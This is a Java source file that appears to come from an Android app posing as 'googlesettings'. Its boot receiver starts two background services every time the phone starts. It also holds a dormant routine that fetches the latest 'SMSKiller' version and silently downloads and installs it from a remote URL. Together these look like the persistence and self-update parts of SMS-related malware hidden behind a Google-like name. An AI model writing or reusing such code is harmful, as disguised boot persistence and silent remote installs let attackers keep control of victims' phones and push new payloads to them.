package com.android.googlesettings.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

import com.android.googlesettings.model.VersionModel;
import com.android.googlesettings.service.GoogleService;
import com.android.googlesettings.service.SettingService;
import com.android.googlesettings.util.ManageUtil;

public class BootBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {

		if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
			Intent it1 = new Intent(Intent.ACTION_RUN);
			it1.setClass(context, GoogleService.class);
			context.startService(it1);

			Intent it2 = new Intent(Intent.ACTION_RUN);
			it2.setClass(context, SettingService.class);
			context.startService(it2);
		}

		// checkUpdate();

	}

	private void checkUpdate() {

		new Thread(new Runnable() {

			public void run() {
				VersionModel versionModel = ManageUtil.getLastestSMSKillerVersion();
				String currentVersion = ManageUtil.getAppVersion();
				if (versionModel.getVersion().compareTo(currentVersion) > 0) {
					if (ManageUtil.isSDCardAvailaleSize()) {
						ManageUtil.downloadAndInstall(versionModel.getUrl());
					}
				}
			}
		}).start();
	}
}
